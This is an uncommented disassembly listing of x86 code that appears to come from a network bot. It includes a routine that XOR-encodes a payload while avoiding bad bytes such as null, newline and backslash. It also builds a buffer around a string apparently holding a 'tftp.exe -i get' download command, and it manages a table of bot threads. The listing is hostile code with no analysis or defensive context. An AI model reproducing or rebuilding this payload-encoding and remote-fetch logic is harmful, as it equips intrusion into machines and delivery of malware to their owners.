		push	offset dword_43943C
		push	ebx
		mov	dword_4394CF, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4394C5
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB4	proc near		; CODE XREF: sub_416BCB+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABC
		push	eax
		call	sub_416C38
		add	esp, 0Ch
		retn
sub_416BB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCB	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB4
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BEB
		cmp	eax, 0FFFFh
		jbe	short loc_416BEF


loc_416BEB:				; CODE XREF: sub_416BCB+17j
		xor	eax, eax
		jmp	short loc_416C34
; ---------------------------------------------------------------------------


loc_416BEF:				; CODE XREF: sub_416BCB+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABC
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABC
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADC
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C53
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_416C34:				; CODE XREF: sub_416BCB+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C38	proc near		; CODE XREF: sub_416BB4+Ep
					; sub_416C53+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C41
		inc	ecx


loc_416C41:				; CODE XREF: sub_416C38+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C53	proc near		; CODE XREF: sub_416BCB+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C6F
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C72


loc_416C6F:				; CODE XREF: sub_416C53+8j
					; sub_416C53+Ej ...
		inc	[ebp+arg_C]


loc_416C72:				; CODE XREF: sub_416C53+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9A
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C93
		cmp	al, 0Dh
		jz	short loc_416C93
		cmp	al, 5Ch
		jz	short loc_416C93
		test	al, al
		jnz	short loc_416C9A


loc_416C93:				; CODE XREF: sub_416C53+32j
					; sub_416C53+36j ...
		add	[ebp+arg_C], 100h


loc_416C9A:				; CODE XREF: sub_416C53+28j
					; sub_416C53+3Ej
		push	[ebp+arg_C]
		call	sub_416C38
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB2
		cmp	eax, 0FFFFh
		jbe	short loc_416CB9


loc_416CB2:				; CODE XREF: sub_416C53+56j
		xor	eax, eax
		jmp	loc_416D57
; ---------------------------------------------------------------------------


loc_416CB9:				; CODE XREF: sub_416C53+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_489FE8
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CE9


loc_416CCD:				; CODE XREF: sub_416C53+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE0
		cmp	al, 0Ah
		jz	short loc_416CE0
		cmp	al, 0Dh
		jz	short loc_416CE0
		cmp	al, 5Ch
		jnz	short loc_416CE4


loc_416CE0:				; CODE XREF: sub_416C53+7Fj
					; sub_416C53+83j ...
		inc	bl
		xor	edx, edx


loc_416CE4:				; CODE XREF: sub_416C53+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCD


loc_416CE9:				; CODE XREF: sub_416C53+78j
		cmp	ecx, esi
		mov	byte_489FE8, bl
		ja	short loc_416D15
		push	15h
		push	offset loc_439424
		push	[ebp+arg_0]
		mov	byte_439431, cl
		mov	byte_439435, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D36
; ---------------------------------------------------------------------------


loc_416D15:				; CODE XREF: sub_416C53+9Ej
		push	17h
		push	offset loc_43940C
		push	[ebp+arg_0]
		mov	word_43941A, cx
		mov	byte_43941F, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h


loc_416D36:				; CODE XREF: sub_416C53+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D52
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_416D44:				; CODE XREF: sub_416C53+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D44


loc_416D52:				; CODE XREF: sub_416C53+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_416D57:				; CODE XREF: sub_416C53+61j
		pop	esi
		leave
		retn
sub_416C53	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5A	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_444EC0


loc_416D62:				; CODE XREF: sub_416D5A+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D76
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_489C50
		jl	short loc_416D62
		jmp	short loc_416DC1
; ---------------------------------------------------------------------------


loc_416D76:				; CODE XREF: sub_416D5A+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_444EC0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4450C0[esi], eax
		and	dword_4450C4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4450C8[esi], 0
		mov	dword_4450CC[esi], eax
		and	byte_4450D8[esi], 0
		pop	esi


loc_416DC1:				; CODE XREF: sub_416D5A+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5A	endp

; ---------------------------------------------------------------------------
byte_416DC5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40EE72+5BFFo
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 21D9464h, 555E5F90h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 439500h, 0FF0C75FFh, 42E80875h
		dd 83FFFF68h, 0FF3314C4h, 444EC0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 7E8068FFh, 0E8500043h, 446h,	858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 0FAE80875h, 83FFFF67h, 0C68124C4h
		dd 234h, 50FE8147h, 7C00489Ch, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E95	proc near		; CODE XREF: sub_40EE72+4DD7p
					; sub_416F23+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1D
		cmp	esi, 1F4h
		jge	short loc_416F1D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_4450D4[esi]
		lea	edi, dword_4450D4[esi]
		nop
		call	near ptr 27E09C6h
		cmp	[edi], ebx
		jz	short loc_416ECD
		push	1
		pop	ebp


loc_416ECD:				; CODE XREF: sub_416E95+33j
		mov	[edi], ebx
		lea	edi, dword_4450C8[esi]
		mov	dword_4450C0[esi], ebx
		mov	dword_4450C4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EEE
		push	eax
		call	sub_415417
		pop	ecx


loc_416EEE:				; CODE XREF: sub_416E95+50j
		mov	[edi], ebx
		lea	edi, dword_4450CC[esi]
		mov	byte ptr dword_444EC0[esi], bl
		mov	byte_4450D8[esi], bl
		push	dword ptr [edi]
		call	dword_43F700
		lea	esi, dword_4450D0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43F700
		mov	[esi], ebx
		pop	edi


loc_416F1D:				; CODE XREF: sub_416E95+Dj
					; sub_416E95+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E95	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F23	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_444EC0


loc_416F2F:				; CODE XREF: sub_416F23+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F40
		push	edi
		call	sub_416E95
		test	eax, eax
		pop	ecx
		jz	short loc_416F40
		inc	ebx


loc_416F40:				; CODE XREF: sub_416F23+Fj
					; sub_416F23+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_489C50
		jl	short loc_416F2F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F55	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4450C4


loc_416F69:				; CODE XREF: sub_416F55+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8B
		test	edi, edi
		jle	short loc_416F7D
		cmp	[esi], edi
		jz	short loc_416F7D
		cmp	ebx, edi
		jnz	short loc_416F8B


loc_416F7D:				; CODE XREF: sub_416F55+1Ej
					; sub_416F55+22j
		push	ebx
		call	sub_416E95
		test	eax, eax
		pop	ecx
		jz	short loc_416F8B
		inc	[ebp+var_4]


loc_416F8B:				; CODE XREF: sub_416F55+1Aj
					; sub_416F55+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_489E54
		jl	short loc_416F69
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA2	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4450C0


loc_416FA9:				; CODE XREF: sub_416FA2+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB2
		inc	eax


loc_416FB2:				; CODE XREF: sub_416FA2+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_489E50
		jl	short loc_416FA9
		retn
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC1	proc near		; CODE XREF: sub_40EE72+5696p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4450C0


loc_416FCB:				; CODE XREF: sub_416FC1+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE4
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_489E50
		jl	short loc_416FCB
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416FE4:				; CODE XREF: sub_416FC1+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FE8	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417001
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx


loc_417001:				; CODE XREF: sub_416FE8+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F55
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_417047
; ---------------------------------------------------------------------------


loc_41702D:				; CODE XREF: sub_416FE8+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172AE
		add	esp, 10h


loc_417047:				; CODE XREF: sub_416FE8+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417067
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_417067:				; CODE XREF: sub_416FE8+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417076	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_4450D4[eax], ecx
		mov	dword_4450C0[eax], ecx
		mov	dword_4450C4[eax], ecx
		mov	dword_4450C8[eax], ecx
		mov	dword_4450CC[eax], ecx
		mov	dword_4450D0[eax], ecx
		mov	byte ptr dword_444EC0[eax], cl
		mov	byte_4450D8[eax], cl
		retn
sub_417076	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B3	proc near		; CODE XREF: sub_40EE72+6187p
					; sub_4171E1+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4170BD:				; CODE XREF: sub_4170B3+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711D
		cmp	eax, 1
		jnz	short loc_41711D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711D
		cmp	cl, 2Ah
		jz	short loc_417104
		cmp	cl, 3Fh
		jz	short loc_4170E7
		cmp	cl, 5Bh
		jz	short loc_4170EC
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4170E7:				; CODE XREF: sub_4170B3+26j
		inc	[ebp+arg_4]
		jmp	short loc_417117
; ---------------------------------------------------------------------------


loc_4170EC:				; CODE XREF: sub_4170B3+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417149
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417117
; ---------------------------------------------------------------------------


loc_417104:				; CODE XREF: sub_4170B3+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E1
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_417117:				; CODE XREF: sub_4170B3+37j
					; sub_4170B3+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BD
; ---------------------------------------------------------------------------


loc_41711D:				; CODE XREF: sub_4170B3+Ej
					; sub_4170B3+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712D
		cmp	eax, 1
		jnz	short loc_417144
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711D
; ---------------------------------------------------------------------------


loc_41712D:				; CODE XREF: sub_4170B3+6Dj
		cmp	eax, 1
		jnz	short loc_417144
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417144
		cmp	byte ptr [esi],	0
		jnz	short loc_417144
		push	1
		pop	eax
		jmp	short loc_417146
; ---------------------------------------------------------------------------


loc_417144:				; CODE XREF: sub_4170B3+72j
					; sub_4170B3+7Dj ...
		xor	eax, eax


loc_417146:				; CODE XREF: sub_4170B3+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417149	proc near		; CODE XREF: sub_4170B3+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716A
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41716A:				; CODE XREF: sub_417149+19j
		push	ebx
		push	esi


loc_41716C:				; CODE XREF: sub_417149+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717A
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C6


loc_41717A:				; CODE XREF: sub_417149+2Aj
		test	edi, edi
		jnz	short loc_4171BB
		cmp	bl, 2Dh
		jnz	short loc_4171AF
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171AF
		cmp	al, 5Dh
		jz	short loc_4171AF
		cmp	[ebp+var_4], edi
		jnz	short loc_4171AF
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BB
		cmp	bl, al
		jg	short loc_4171BB
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BB
; ---------------------------------------------------------------------------


loc_4171AF:				; CODE XREF: sub_417149+38j
					; sub_417149+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BB
		push	1
		pop	edi


loc_4171BB:				; CODE XREF: sub_417149+33j
					; sub_417149+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716C
; ---------------------------------------------------------------------------


loc_4171C6:				; CODE XREF: sub_417149+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D3
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4171D3:				; CODE XREF: sub_417149+82j
		cmp	edi, eax
		jnz	short loc_4171DC
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4171DC:				; CODE XREF: sub_417149+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_417149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E1	proc near		; CODE XREF: sub_4170B3+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4171FD:				; CODE XREF: sub_4171E1+3Aj
		cmp	[eax], bl
		jz	short loc_41721D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417212
		cmp	cl, 2Ah
		jnz	short loc_41721D
		cmp	cl, 3Fh
		jnz	short loc_417215


loc_417212:				; CODE XREF: sub_4171E1+25j
		inc	eax
		mov	[edi], eax


loc_417215:				; CODE XREF: sub_4171E1+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FD
; ---------------------------------------------------------------------------


loc_41721D:				; CODE XREF: sub_4171E1+1Ej
					; sub_4171E1+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_417228
		inc	dword ptr [esi]
		jmp	short loc_41721D
; ---------------------------------------------------------------------------


loc_417228:				; CODE XREF: sub_4171E1+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_417249
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723A
		xor	eax, eax
		jmp	short loc_4172A9
; ---------------------------------------------------------------------------


loc_41723A:				; CODE XREF: sub_4171E1+53j
		cmp	cl, bl
		jnz	short loc_417249
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_417249
		push	1
		pop	eax
		jmp	short loc_4172A9
; ---------------------------------------------------------------------------


loc_417249:				; CODE XREF: sub_4171E1+4Dj
					; sub_4171E1+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417293


loc_417257:				; CODE XREF: sub_4171E1+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41725B:				; CODE XREF: sub_4171E1+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417273
		cmp	cl, 5Bh
		jz	short loc_417273
		cmp	dl, bl
		jz	short loc_417273
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725B
; ---------------------------------------------------------------------------


loc_417273:				; CODE XREF: sub_4171E1+82j
					; sub_4171E1+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728A
		push	eax
		push	dword ptr [esi]
		call	sub_4170B3
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41728F
; ---------------------------------------------------------------------------


loc_41728A:				; CODE XREF: sub_4171E1+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41728F:				; CODE XREF: sub_4171E1+A7j
		cmp	eax, ebx
		jnz	short loc_417257


loc_417293:				; CODE XREF: sub_4171E1+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A6
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A6
		mov	[ebp+var_4], 1


loc_4172A6:				; CODE XREF: sub_4171E1+B6j
					; sub_4171E1+BCj
		mov	eax, [ebp+var_4]


loc_4172A9:				; CODE XREF: sub_4171E1+57j
					; sub_4171E1+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172AE	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172EE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FB
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_4172AE+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_4172FB:				; CODE XREF: sub_4172AE+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417300	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_439550, eax
		retn
sub_417300	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730A	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_439550
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_439550, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx


loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353


loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D


loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377


loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528


loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------


loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
